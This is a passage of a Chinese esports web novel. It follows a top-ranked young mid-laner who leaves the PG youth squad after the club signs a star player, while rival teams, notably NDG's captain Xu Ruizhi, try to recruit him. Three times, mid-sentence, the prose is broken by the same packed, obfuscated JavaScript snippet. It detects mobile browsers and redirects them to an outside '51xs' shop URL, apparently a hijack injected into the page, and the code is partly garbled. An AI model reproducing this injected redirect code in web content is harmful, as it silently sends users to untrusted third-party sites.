“说话就说话,你把脸往摄像头前凑干什么?!而且你正常晚安什么语气我能不知道吗?” 点开后台的封禁短信,余历把他又凑过来的椅子转了半圈,转到眼不见心不烦的后背,“不知道现在的AI巡查烦得不行吗?弹幕敏感词一多就被封!” “一次被封,就算是误封,我这直播间也要被天天重点关照。” “这么严重吗?”奚月礼面壁了几秒,探头去看他站在电脑前操作解封。 见他对着申诉页面发愁,“我可以帮忙写申诉检讨。” “你?现在离电脑远点我就谢天谢地。”余历一指客厅角落,“去,那边待着。” 闻言,奚月礼单腿划拉过地板,带着他的电竞椅一起滑走了。 角落里玩了会手机,正打算搜个直播规范看看,又被余历叫了声名字,三言两语地打发去便利店。 “家里没有多余的洗漱用具,自己出门买一套,今天别玩游戏了,赶紧晚安去吧。” 奚月礼照办了。 换掉睡衣准备出门,又问:“不跟我一起吗?” 余历还在发愁,“得继续申诉解封,半小时还没反应就给平台打电话。” 奚月礼没再招惹他,带上手机迈腿出门。 “走喽。”门声已经响起,电脑前的人却头也没抬,他又退回来一步向屋主确认,“等等会给我开门吗?” 余历:“不开,住桥洞去吧。” 奚月礼听笑了,打算顺路去旁边的面包店走一趟,给他带个小蛋糕回来和好。 客厅的半小时眨眼就过,直播间还是没反应,门铃也没响。 余历抬头去看时间——便利店才几分钟的路?大晚上的,这人又遛哪里去了。 惯例点开失踪人士的聊天框。 [鱼鱼:人呢?] 夜里的小区依旧灯火通明,奚月礼人在小区草丛边,给他回了一大堆流浪猫的照片,黑的白的三花的,合照特写应有就有。 [Lily:[图片][图片][图片]桥洞里好多舍友。] 然后他把便利店买来的三袋子猫粮都撒完,自己的一根雪糕也吃完,又挑猫群里几只盘靓条顺的摸了摸,单独开了好几个罐头小灶。 这才带着快化掉的冰淇淋蛋糕回到余历家楼下。 电梯门开,手机消息再度响起。 除了余历的催促,同时发来的还有祁元一连串自带音效的“啊啊啊”。 “啊啊啊”后面跟着一条博文转发——《群星召唤COTS转会期信息公告》 [PG电竞:欢迎@PG-clock以转会形式正式加入PG电子竞技俱乐部,未来我们将携手并进,共同征战群星召唤S11全新赛季!荣耀路上,顶峰将至!] [7yuan:疯了,好突然???] [7yuan:一点消息都没听到啊!俱乐部突然就买了clock!?] [7yuan:这他妈得花多少钱啊?!] 奚月礼是见过合同的,跟着回想了下那串零。 [Lily:是啊是啊,以后食堂还吃得起可乐鸡翅吗?] [7yuan:别说了已经在哭了。] 过了几秒。 [7yuan:我以为你只是和冲哥闹了个矛盾。] [7yuan:所以这就是你走掉的真正原因吗QAQ。] 9.009 世界赛结束后的转会窗口为期长达一个月,期间各大网络平台堪称一个巨大的瓜田,转会、续约、选手挂牌,天价转会费,经纪公司和俱乐部交锋不断,媒体和粉丝跟着添乱,关注度稍微高点的选手连穿了件别家战队的同色T恤都要被拉出来分析一通。 唯有俱乐部的官宣加上COTS职业联盟的官方通告,才能称得上瓜熟蒂落。 屏幕停在一则官方公告上,“clock转会PG”的热搜已爆,战队粉丝的狂欢夹杂着路人的吃瓜,底下评论正以每分钟万计的频率刷新。 [提前祝贺PG联赛卫冕成功。] [CPL最没有悬念的一集来了。] [打不过就买回来,这就是COTS全球第一赛区。] …… 余历浏览了几条,很快叉掉了所有网页。 公告出来,他哪能不明白奚月礼离队的原因? 顺着一想这半年PG青训的幺蛾子,再脑补一下他被俱乐部通知当替补的画面,开口没能控制好自己的音量:“电竞选手的职业生涯总共就那么长,他们浪费了你多久时间?足足半年!” “半年的训练赛把把C成那样,签约是一次次想延长,说好的首发又一次次往后拖——要买clock就早点放人啊?难道你还会缺战队要吗!” 奚月礼靠在沙发上看气冲冲的人,先摆好蛋糕,再朝他招招手。 PG的引援其实是世界赛结束后的决定,当初试训他的主教练已经离职,战队经理都换了三个,教练组连一队的状况都顾及不到,更别说青训。 他倒没觉得俱乐部在故意拖着谁,顶多只能算运气不好,撞上一个战队管理层更迭的混乱期。 见余历走过来,嘴巴一张还要再说什么,奚月礼率先给他塞了口冰淇淋蛋糕,“直播间恢复了吗?” “……恢复了。”余历咽下蛋糕,眉头松了点,“今天不播了,房管都锻炼禁言手速去了——你早知道这事了?都不告诉我。” “也是今天才知道的。”奚月礼手上还在跟祁元聊着有一搭没一搭的天,听他刚刚提到训练赛,又想起他好像没怎么跟余历说过这些,“你怎么知道我的训练赛成绩?” “PG光凭二队就能打遍各大战队的首发——像这样的流言都从职业群传到主播群了,这半年他们的牛可没少吹。” 余历坐下来,刷了会儿新闻,又开始自责,“怪我,当初看PG离学校和这里都近,硬要拉你去那破地方试训。” “也没那么破,收获还不错——训练赛打起来比天梯要有意思,食堂饭又好吃。”说着奚月礼从手机上抬眼看他,扬起笑脸道,“当然,没你做得好吃。” 余历别开脸,不再提这个扫兴的战队了。 “下个战队不着急,TB那边的消息也先别回了,转会窗还有半个月,谁知道那些俱乐部会洗牌成什么样。” 奚月礼自然应声,却没有顺着这些话去思考下个战队,翻出天气预报看了一眼,明天是个大晴天,非常适合出门秋游。 微信消息又来,聊天框里,祁元还在纠结马上就要到来的世界冠军队友。 [7yuan:跟外国人要怎么沟通啊?我英语那么烂,更别说韩语了,开团喊go撤退喊no吗?请求支援喊什么?] 这题奚月礼会答。 [Lily:SOS] [7yuan:听说中野不合是clock老东家的传统,也不知道他脾气怎么样,会不会跟我吵架啊?] [Lily:吵不起来,元元听不懂外国人说话。] 祁元回了好几个SOS。 [7yuan:那么你呢?接下来你要去哪个战队?告诉我告诉我告诉我。] [Lily:接下来。] 老半天没收到消息,祁元追问。 [7yuan:接下来?] 奚月礼看着天气预报考虑了半分钟,虽然消息打起来好长一段,还是动动手指给祁元回复了。 [Lily:[图片]接下来先把这个蛋糕吃掉,睡个没有祁元在对面打呼的觉。] [Lily:明早去把拖了半月的开学办了,挑一节好听的选修课睡午觉,梦里思考一下上学期挂掉的科该怎么办,抽空再打个电竞社的校级联赛,今年的奖品是厄莎全皮肤手办。] [Lily:猫咪远行.gif] 祁元看懵了,训练呢?战队呢?校级联赛是什么东西? [7yuan:我去,重生之你在C大当校草啊!] * 早上九点,天已大亮,对于夜猫子来说却还属于梦游时间,NDG会议室哈欠连连。 “早起的小鸟有虫吃,早起的战队会有中单买吗?” 汪奇撑起眼皮,努力坐直。 NDG首发中单Jiang准备退役,这事在夏季赛中途已经确定,最近人连日常训练都没参加,新中单的补充一直是战队近期的头等大事——会议室的其他人都在看着投影大屏,战队经理周托托,首发,替补,主教练,助教,数据分析师等赛训组的人员坐了满满一圈。 屏幕连续播放着选手的简历,有转会期其他俱乐部挂牌的,有自家战队的青训生,还有主动投来简历的知名国服玩家。 资料不是第一次看了,熟悉如主教练都快把每个字背出来了,所以数据分析师每放一页,会议室里都反应平平。 “这个英雄池……不够看啊。” “这是DTG的替补?有点印象,赛场表现不如汪奇去补位。” “24岁……年纪有点大了。” “天梯最高排名986……玩莉莉丝的最高排986?估计连莉莉丝的技能连招都没搞明白吧。” 闲扯间,会议室好比快收摊的菜市场,挑挑拣拣就是找不到一颗水灵灵的白菜。 众人对这状况也算习以为常——中单这个节奏核心位在团队里的重要性不言而喻,近年来CPL又是著名的中单荒漠,称得上“顶级”的中单选手一只手都数得过来,稍微冒头就得被一抢而空。 “还是老样子,老人只能凑合着用,新人光英雄池的扩展训练就得大半年。” 主教练叹息:“难道还是得往外援找?” 分析师没吭声,点下资料的最后一页. 屏幕光影一变,东倒西歪的汪奇眨眨眼,坐直了。 “啊?这是什么?” 明洋睁大困得不行的眼睛,举起半只手,“请问,我们现在在看电竞选手的资料,还是什么男模应聘杂志社的简历?” 战队运营组的人路过玻璃窗,无意间瞥到此时大屏,吸溜咖啡的动作也停住了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687736|142617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不由站定在了窗边。 大屏上的资料非常简单:一个名字,一个游戏id,身高,体重,出生年月,两行英雄池。 还有一张照片。 和之前几张证件照不同,这张照片明显是经过裁剪的日常他拍,高糊也盖不住照片中间那人扑面而来的活人气息——那人靠坐着黑色电竞椅,一条手臂舒展在桌上,另一只手支着脸,略微仰起的脸上带着笑意,正在放松地倾听头顶队友说话。 背景明明是司空见惯的电脑椅子,经由他侧脸的点亮,却好像成了什么时尚布景,旁边队友则被衬得像个影棚里的手脚架。 “最离谱的网骗都不敢这么挂照片吧?这是那个天梯第一?” 汪奇把顶上的ID和照片反复对应了好几遍,念出资料上的名字。 “奚月礼?” 诧异的音量让这个名字简直在耳边振聋发聩,徐锐之从手中平板小图上抬头,去看大屏。 照片明显不是为了投简历而拍,他望着屏幕问经理托托:“哪里来的资料?” “你们一晚上在群里讨论了几百条这个Lilymoon,Ritz的传奇4杠8还挂在论坛热门,跟三服第一不是脚本是真人手打的爆贴排在一起。” 经理托托挂着两个黑眼圈,旁边一群人在菜场叽叽喳喳,只有她这边在上演社畜述职。 “哪里来的资料?我连夜搜集来的。” 汪奇瞧着资料,对他们NDG的超人经理发出一个小心翼翼的疑问句:“消息来源靠谱吗?” 托托点头,“TB那边提供的,照片是他们打线下训练赛时偶然拍的,资料上每行字我都确认过——停,别拍照。”她朝窗外运营组的人一挥手,“不是选手本人投来的简历,不能传播。” “论人脉还得是我托托姐啊!” 汪奇瞬间不困了,伸长脖子看起大屏上的资料,又被年龄惊了一下。 “我以为这人未成年呢,家长管得严所以才没声没息的,这都快十九了——岂有此理!这是跟我同龄的手速吗!?” 明洋去看资料上的英雄池:“英雄池……啧,英雄海啊。” 放出来的简历经过筛选,那些T0英雄并不是选手一句“会用”就能写进英雄池的。 天梯排位时玩家常使用不同英雄,几十几百场排下来,系统则会根据那些英雄的胜场数量和表现实时更新出玩家每个英雄的评分,并显示在玩家主页。 使用该英雄获得的胜场与MVP越多,评分则越高。 对于职业选手来说,通常一个英雄评分得在800分以上,才能放进简历的英雄池。 数据分析师说:“资料没有把他的常用都写全吧?我之前看过他的游戏主页,现在放上来的英雄只是他超过1200分的那些?” 汪奇一溜烟念下来:“莉莉丝,天鹤,桑桑,厄莎,水星……啧,看着眼睛都痛,都是一些操作怪才玩得起来的英雄——怎么还有高分的射辅英雄啊?仙英,天琴,猫咪?” 稍加联想这些英雄的特点:这个漂亮,那个也漂亮,通通都是COTS里出名的高颜值。 “哎呦。”汪奇很快得出结论,“这货还是个颜控!” “该死的颜狗。”忍不住跟明洋交头接耳,“那他会有什么烦恼?不开心时照照镜子不就能乐起来了?” 10.010 “是有点擦边主播的资本在身上的,我要长这样,我也擦。” 明洋点评完,摸着下巴思考了一秒,“这人要是来了,我NDG第二帅岂不是要屈居第三?” 汪奇:“第二帅不是我吗?” 始终一言未发的射手670这一刻斩钉截铁:“是我。” 领队兼助教铭哥就坐在三人旁边,打断了他们的交头接耳,“想多了,他来不了——这种苗子都是在青训营当底牌养着的,TB怎么可能放人。” 因为经理托托最开始说了资料来源是TB战队,照片上又是很明显的训练室背景,他默认人已经去了TB。 数据分析师认同:“别的天梯第一我们还可以试试,这个第一——只能说先下手先得,合约在身其他战队就很难有机会了。” 他停了两秒,补充:“毕竟天梯第一和天梯第一也是不同的。” 具体不同在哪里,会议室里的人不用多说,心里也全有数——职业选手少有时间打天梯,所以天梯又称“职业以下第一人”,国服第一在职业圈的含金量虽高,却不至于稀缺,现役CPL知名选手十个里有五个都会把“年轻时上过天梯第一”写进简历。 区别只在于上了一天还是一个月,是偶然一登还是赛季定榜。 分析师用笔在手中资料“Lilymoon”上画了个圈,避免会议室有人不知道细节,继续补充道:“这个id从两年前上了国服第一,又在半年前登顶了韩服和欧服,偶尔因长时间没打往下掉过,基本也是两三天就打了回去。” “职业圈和主播圈一直听不到真人消息,各种流言没断过,最多的说法是这人开了COTS也检测不出的脚本。” “不过这个流言在昨晚被打破了,具说他空降朋友的直播间,开摄像头代打了一把,把NDG队长打了个4杠8。” 众人纷纷去看4杠8的NDG队长。 徐锐之冷笑一声,张嘴向所有人一起开炮:“换你们个个0杠18。” 分析师还在继续,如同无情的播报机器。 “再过两个月赛季结束,各赛区天梯定榜,现在胜场积分得达900左右才能上前十,而这个第一——他欧服1340分,韩服1491分,国服1622分。” “国服第二是个技术主播,场次是他的三倍,积分却差了他近500分。” 汪奇拿自己之前的天梯分换算了一下,“也就是说,差了他一整个汪奇……好离谱啊。” 明洋觉得他这个换算不够到位,“千分以上,一分得有十分的难度了。严格来说,差了他十个汪奇。” 汪奇恍惚转头,去看主教练,“你年轻时有这么离谱过吗?V哥。” 主教练Vicky是COTS退役名将,跟着忆往昔,“我们那会儿还没有天梯榜,英雄少,技能也简单,更没那么多花里胡哨的操作。” “现在COTS这些新出的英雄,哪个不是在挑战人类手脑极限?个人能力被一再强调,小怪物是越来越多了啊。” 汪奇心有戚戚:“就是啊,操作怪实在太多了,不然NDG-Woof放早些年也算得上一个顶级辅助吧。” V哥哈哈一笑:“那倒不至于。” 笑完也没管被一箭穿心的汪奇,对着手里资料看了又看,拧开保温杯,喝了口枸杞茶,“这种的,纯天赋选手,TB应该真的不会放,他们现役中单这赛季表现不太好,本来就要准备轮替了。” 讨论声里,徐锐之也在来回翻看手上的选手资料,最后一页看久了,再往前翻其他人,翻不下去了。 他打断教练组那边的丧气话,敲敲桌子问经理托托:“TB既然给了你资料,应该也明白NDG的意思,有谈过他的挂牌条件吗?” 托托这才把眼睛从手机上移开,用两个黑眼圈对上议论纷纷的众人。 “谁说他在TB了?TB是看上他了,但他人在PG。” 徐锐之啧了一声,不说话了。 明洋撇撇嘴,酸了:“怎么什么好东西都是PG的?” V哥叹气:“PG就更不用说了,俱乐部不差钱。选手本人也更想在能出成绩的俱乐部吧。” 670低头抠手:“我们也不差吧……就差个中单。” “你们在说什么?”汪奇腾地从桌旁站起,“你们都不上网冲浪的吗?” “clock加入了PG,PG买了clock——热搜现在还挂着呢!我昨晚第一时间就发群里了啊!” 眼瞅着会议室众人满脸震惊,汪奇抓住重点:“所以——群里是真的没人会在意我发的消息吗!?” 其他人接连掏出手机,看新闻的看新闻,看群聊的看群聊。 只有托托朝汪奇点了点头,“PG有首发了,谁会乐意去给clock当替补?冷板凳坐到退役吗?” “我凌晨三点拿到的资料,四点跟TB那边的人要到了联系方式,马上加了他微信。”她视线重新回到手机,“但这位一直没通过我——不然我干什么要陪你们在这里2G冲浪,不去补觉呢?” * 一大早返校报道,整理宿舍,下午又跟余历在游泳馆待了半天,奚月礼一直没怎么看手机。 当私聊只有十条的时候,他会一条条看过去。 可消息多到一定的程度,微信好像成了个巨大的群聊,总让人感觉没什么要紧事,他打算攒一攒凑个999+,也不知道APP上的未读红点会不会显示到四位数。 傍晚跟着余历从超市回家,听他提起:“我妈问你放假 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701416|142617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回不回家?你好像没回。” 奚月礼这才掏出手机,“当然回,好久没见阿姨了,想她。” 私聊里除了余阿姨的关心、PG前队友关于热搜的问候,学校舍友的钻石战绩、祁元的三餐、未备注好友的不明搭话……最多的还是各个俱乐部经理的来信。 不熟的在试探,稍熟一点的直接发来了试训邀请。 奚月礼大致浏览了一通,都是之前跟PG青训打过训练赛的战队。 又点开好友申请。 申请从昨晚开始没断过,他顺着时间线把五颜六色的头像都通过了,有几条因为话多字长,好奇看了看。 一个是有点印象的DTG打野。 [Again:DTG打野陈再,叫我再哥就行,战队让我来对你线上试训,传奇高分双排的号你准备一下。] …… [Again:已读不回?这么高冷的吗?] …… [Again:……之前没注意试训的人是谁,是你啊月神T_T] [Again:天梯我们撞过很多次的,老熟人了。] [Again:别这样哥,你是我哥,弟弟不懂事,弟弟这边语气嚣张了。] [Again:道歉,我磕头道歉。] [Again:万水千万总是情,加个微信行不行T_T] 还有一串来自TB的首发打野。 [Pie:嗨喽月神,还记得我吗?[可爱]TB的打野派宝。] [Pie:上个月我们在线下训练赛见过,你玩的天鹤,我玩的天狼,用的是同系列皮肤,你8杠2[哇塞],我2杠8[可爱],怎么不算有缘呢哈哈。] [Pie:但上次你们走的好急[大哭],我都没来得及加联系[委屈],昨晚看到PG买下clock的新闻了,这不是吃着碗里的看着锅里的吗,也太坏了[生气]] [Pie:哥哥来TB,我的野区你的花园,蓝给你,果果也给你[星星眼]] [Pie:哥哥可以通过一下我吗[可爱]] …… [Pie:没看到的话[委屈],我晚上再来发一次[加油]] 奚月礼在等电梯的间隙,回想起TB打野一只手把他们辅助当鸡仔拎的身高和寸头,把额头贴上余历的肩,笑了足足半分钟。 “笑什么呢?”余历忍不住去瞄他的手机。 “嗯,就是……”这边申请刚刚全部通过,提示里又来一条,头像似乎又是个战队图标,奚月礼在耳边晃晃手机,“……感觉今天,联盟好像给选手下达了什么社交任务?” 一边跟余历进屋,一边继续点开好友申请。 [Ritz:NDG打野,徐锐之。] 11.011 进屋后余历把电脑让给了奚月礼,今天请假停播,他打开了COTS世界赛的小组赛回放,充当客厅背景音。 解说的声音从激情到惋惜,余历看去电视一眼,正好看到TB落败,选手离场,镜头扫到一个一米九的寸头猛男在角落里偷偷抹泪。 他这才想起:“中午忘了问你,TB打野加你你拒绝了?他消息发到我这儿来了。” “通过了。”奚月礼往后靠去,给余历露出屏幕上的聊天框,声音里全是笑意,“谁会拒绝派宝呢?已经在聊天了。” 屏幕上一溜红点,消息刷得飞快。 电脑椅背对客厅,不用去看,余历听声就能想象到他现在脸上什么表情——小学生一脚踏进玩具店的表情。 “TB打野虽然长得人高马大,心脏可不大,场上场下没少哭。”他习惯性提醒,“好好说话,别跟他聊些有的没的。” “好好说着呢,没有聊哭。”奚月礼把对面刚发来的一个“哈哈”表情包放大,转过来向余历展示,“看,派宝在笑。” “你俩今晚能谈上正事吗?”余历很怀疑这两个表情包大户凑一起能说点什么,“他是来试训你的吧?” 各大俱乐部试训流程大同小异,邀请之后先是线上试训,和未来队友双排几把看看效果,后续再根据选手的反馈安排线下试训。 不管是正式签约,进入首发名单,还是联赛上场,都得经过训练赛的层层质检。毕竟团队游戏,再强的个人能力,也要在团队里发挥得出来才行。 余历又问:“除了Pie,还有其他战队的打野来找你试训吗?” 试训的人员也有讲究,就像射辅这两个位置相辅相成,从来不能单独去看,中路和打野虽然不是双人路,但同处节奏推动位,同样承担着全图支援的任务,联动能力向来是战队的考察重点。 中野选手的默契、适配度以及赛场化学反应都是一个团队能不能打中野体系的关键。 电脑右半屏开着solo模式玩补兵,左半屏开着聊天框,奚月礼数起框里的打野,“一二三四五……好巧,可以凑个五排了。” 消息跳动,又一个聊天框跳上来,他改口:“是六个,还有个NDG的。” “哦。”余历往厕所走了两步,“NDG?” 他反应过来,“徐锐之?!” “是哦,应该是本人。” “他来加你干什么?” 余历结合自己直面NDG队长的经历,拉响了一级警报,“也就把他打了个4-8啊?对局里又没特地针对他,不至于亲身上阵来网暴吧?”又纳闷,“而且NDG好像跟PG没什么交集?他哪里来的联系方式!?” “是啊是啊,现在的信息泄露真的很严重。”奚月礼点头道,一只手继续有条不紊地多线操作,先把一路兵线补了,再把从早到晚的消息挑着回了。 派宝那边发来一个[猫咪探头.gif],他就回一个[猫咪击掌.gif],接着他重复使用这一个击掌,把派宝的整套表情包都骗了,这才登录自己的小号,向一直在追问的DTG打野发去了小号id。 [Again:收到。] 那边搜完小号,看到了段位。 [Again:你小号这赛季是不是没怎么打排位?] 传奇同样没有段位上限,和天梯最大的区别是可以组排,所以分段的含金量远不如天梯。 双排试训一般会要求传奇1200分以上的段位,难度才能相当于天梯的800分段,太低分段的号打起来并没有意义。 [Again:你要是有空,我们玩会五排?把你小号打上去。] [Again:好久没同队了,天梯撞一次跟中彩票一样哈哈,想念15分钟速通对面的感觉。] [Again:你开房?拉谁都行。] 奚月礼看了眼时间。 大号因为分太高,开一把光等位就要等半天,晚上本来也准备打会儿小号排位,很快给那边回了个ok。 同时看起了NDG打野的聊天框,消息停留在十秒前,是一个视频链接。 这个战队队长似乎在复制粘贴他们战队经理的消息——开头一句“NDG下赛季中单补进,战队想签你”,紧接着就是隔几分钟的一条视频链接,包括NDG今夏的首发配置、基地硬件设施、教练团队、赞助厂商等等。 眼看着聊天框就要变成一个NDG的宣传窗,奚月礼正打算回复,消息再度亮起。 [Ritz:[文件]简易合同条款,具体可以面聊。] [Ritz:有什么要求尽管提,薪资条件合约期限NDG都能满足。] …… [Ritz:昨天那把天狼,前期节奏慢了,后期太急,我的问题。] [Ritz:[视频链接]] [Ritz:[视频链接]] [Ritz:[视频链接]] 还是视频,这么多视频整合一下都能来部NDG大电影了。想着NDG宣发团队真敬业,奚月礼点开最后一个链接。 网页弹出,标题亮起:《前方高燃,S10夏季赛Ritz十大单杀名场面》。 视频开头是一张Ritz被粉丝万转过的夏季赛宣传照,奚月礼撑着脸听了几秒,嗯……BGM还蛮好听。 一边敲字回复。 [Lily:NDG的经理姐姐已经跟我说过这些了。] [Lily:锐之哥是来试训我的吗?] 消息回得很快。 [Ritz:你的训练赛资料我们都有,NDG没有浪费别人时间的爱好。] [Ritz:不用线上试训,合同里会写清固定首发的条款。训练没问题,明年春季赛你就是NDG的首发中单。] 过了十秒。 [Ritz:叫我Ritz或徐锐之就行,NDG也没有前后辈文化。] 说话间奚月礼已经创建好了五排房间,拉完Again,在COTS的好友分组里群发了一个五排邀请链接。 [Lily:[COTS邀请链接]] 徐锐之的消息又是过了好几秒,跟在邀请链接后面。 [Ritz:……是要试训我?] 奚月礼浏览着皮肤商店,正在给小号买莉莉丝新出的皮肤。 [Lily:怎么会。] [Lily:传奇五排车,随便什么位置都行,一起玩吗?] 徐锐之点了一下,没能点进去,又点一下。 [Ritz:满了?] 奚月礼去房间页面看了眼,人来得好快。 切出来继续买厄莎皮肤。 [Lily:满了,下次一起。] [Ritz:。] 这头NDG训练室,十级冲浪选手汪奇正在畅游群聊,惊呼声和职业群的一条消息几乎同时响起。 “报!群里陈再发的车,车上居然有我们的天梯第一!” “群聊手速之神汪奇已上车——卧槽,崽种陈再!他把我踢了!” 徐锐之鼠标一顿,摘下耳机去看汪奇。 汪奇正在跳脚,“气死了气死了!踢之前他还说了句‘这个太菜’,很了不起吗这个打野积分榜的万年老六!?” 徐锐之:“传奇五排车?” “是啊,车里好像还有DTG的上单。”汪奇细细一想,“听说DTG的中单正在准备转会……卧槽,他们不会在试训我的心动选手吧?” 明洋和670也看了过来。 670:“线上试训一般都是双排吧?” “可是这个点……不训练,打五排?”明洋陷入深思,“这群人对我的1号嘉宾不怀好意啊。” “不行,我不放心。”汪奇深感局势不妙,“要不我们也去和他加个联系吧,套套近乎,展示一下未来队友的亲和力!” 说着他向旁边的人打申请:“队长?我去问托托姐要个联系方式吧?” “排位分上了吗?跑图练了吗?”徐锐之重新戴上耳机,头也没转,“正事不干,光泡群聊,你不被踢谁被踢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725558|142617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 汪奇和明洋对视一眼:还能怎么办,怪自己多嘴居然会问徐锐之。 NDG的社交当担和孤狼队长实在没什么好说的,又怕给经理的招人计划添乱,只能继续在群里四处打探,为战队的未来操碎了心。 徐锐之打开手机,切进群聊,看了几眼汪奇在聊天群如鱼得水的话术,不是啊啊啊就是哈哈哈,就这也能聊得起来?没有任何参考价值。 他眼睛重回自己的聊天框,对着那句“下次一起”,打了行“下次什么时候?” 过两秒,又删掉。 “下把拉我?五排效率上分。” 也删掉。 一转头,汪奇在旁边眼神如炬:“队长,你在和谁聊天啊?”他冲徐锐之的游戏屏幕示意一眼,“排位进了,你怎么没点确认。” 徐锐之眼风都没给一个,懒得理:“管好你自己。”起身去阳台,几步路的距离,他打好消息确认发送。 [Ritz:10点NDG训练结束,我12点睡觉,排位10-12点都空。] * 奚月礼从排位里切出来一看时间,12点05分。 五排的乐趣是耳边很热闹,队友水平和效率都在线,上分像喝水一样简单。 无趣的是同一波人,见不到路人局队友的千姿百态,加上分低,对手也千篇一律。奚月礼玩到后面,更多的注意力已经分去客厅和余历闲聊。 余历搜集了一晚上俱乐部的资料,内容大到战队明面上的资金流转情况,小到宿舍条件,势必不能让他再踩一个坑。 他看着资料播报。 “……DTG好像不太行,陈再是个英雄勺,玩的又全是野核,队内传统就是中单给他打工具人。” 奚月礼:“昂。” “TB的中野体系倒是灵活,不过他们的宿舍怎么不是单间啊?” 奚月礼:“奥。” 余历听他说话单音节,抬头去望电脑那边,见他右手搭着鼠标,都没怎么在动,很明显人已经进入了省电模式。 “别打了,去洗澡睡觉。” 通完这一把,奚月礼跟五排队友说拜拜,“下机。” 洗了足足半小时的澡,却仍旧不困,下午他见余历杯子里饮料看起来丝滑,尝了又尝,误食了大半杯咖啡。 咖啡因在他身上一向效果显著,余历已经去睡觉,奚月礼重新坐回电脑前打发时间,戴上耳机玩了两把消消乐,看了一集神奇宝贝,最后他开着皮卡皮卡的背景音,浏览起余历整理在电脑桌面上的战队资料。 第一个看的是战队所在城市,B市仅有的两家CPL战队:PG和NDG。 他点开NDG的资料文档。 人员配备和教练团队飞速浏览完,训练基地的介绍视频长达15分钟,快进到一幕时他按回了正常播放。 画面是训练室,一只皮光水滑的柯基正在地板上急得团团转,和头顶五颜六色的鹦鹉剑拔弩张。 隔着近两米的高度,狗一句鸟一句,一鸟一狗吵得断断续续,十分艰难。 奚月礼看了会儿那双气急败坏的小短腿,看得直笑——都没人帮忙把柯基举高,让这俩吵得方便点的吗? 游戏小号一直没退,他边笑边从游戏里分享了一个排位邀请到微信。 凌晨一点,徐锐之被手机消息震开眼睛。 翻出来看完,从床上坐起,一边点进链接一边披上外套,径直下楼走往训练室。 在三个夜猫子队友纳闷的眼神里,他坐上椅子,开机,登录游戏,敲桌等候加载的途中又脱下外套,两秒把披反的衣服翻了个面。 进入双排房等了会儿,房里没动静,又向聊天框打字。 [Ritz:?] 就这么片刻功夫,奚月礼正好看到NDG夏季赛的一大串战队数据,终于看困了,感觉躺下应该能立马睡着。 但切出去一看,房里已经来人,消息也跳了出来,有句话叫“来都来了”,他按了按手指醒神。 [Lily:来,试训。] 12.012 大半夜的传奇高分进得很快。 不同于天梯会在对局时隐藏玩家ID,传奇排位里,BP阶段每个召唤师都顶着ID,徐锐之登的又是自己的职业大号“NDG-Ritz”,所以两人刚一进去,全队频道就炸了起来,感叹号和表情牌子滚个不停,一把游戏的气氛组就这么到位了。 徐锐之没有理会气氛组,二话不说就预选了一个天狼。 三楼率先预选中路,撞位置了,于是奚月礼预选了射手位。 频道对话和他的预选几乎同时亮起。 [NDG-Ritz:你一楼,可以先拿中。] 位处一楼的奚月礼给他亮了亮小号射手英雄[仙英·翠特纳斯]的胜率:27场,100%,又给自己亮了一个[哇,高手]的表情牌子。 快捷设置不全,他一边调整,一边打开组队麦:“队里没射手,我玩把仙英?” 胜率一出,队友纷纷捧场,跟着亮起[哇,高手]。 五楼马上问:[R神跟一楼双排的?一楼谁的小号吗?] 徐锐之没回话,徐锐之被训练室三个队友齐齐转过来的眼神包围了。 他伸手去摸耳朵,这才发现自己没带耳机。 双排之人的开麦声突然从电脑里传来,透过低频高敏的顶配音响,夜半的训练室甚至出现了几秒清晰的回声。 汪奇用鬼鬼祟祟的眼神看了徐锐之好一阵,才小心翼翼问:“队长……你在跟什么声优主播打双排吗?” “这个时间,这个语气,多少有点暧昧了。”明洋眼睛斜过去,“这个是正经主播吗?” “带个耳机吧。”670小声提醒,“被教练和经理知道,就不是罚款的事了。” 明洋又一想:不对啊,男声。 “队长什么时候好这一口了?” 汪奇也反应过来:“在这遍地男同的网络世界,说好的一起坚守NDG这块净土呢?” “……脑子里的废料摇匀了再跟我说话。”徐锐之翻出耳机来戴上,“但凡把你们的想象力用点在打团连招上。” 接着他点下英雄选择,也没有去挡汪奇凑来看屏幕的眼睛。 正巧BP完毕,汪奇就在加载界面看到了队友id。 乍一看,以为自己看错了,脸贴屏幕再看一眼,没错,昨天才被查过户口的HelloLily。 “队长!?”汪奇惊了,信任的崩塌就在一瞬间,“不是不让加联系吗?你怎么连双排都打上了!?” 徐锐之转头瞥他,汪奇直视他,以为他要给解释两句什么教练组的试训任务,或者发表两句为战队招人牺牲作息之类的得体感言,却见他眉头一皱,烦躁地命令:“我要开麦了,你闭嘴。” 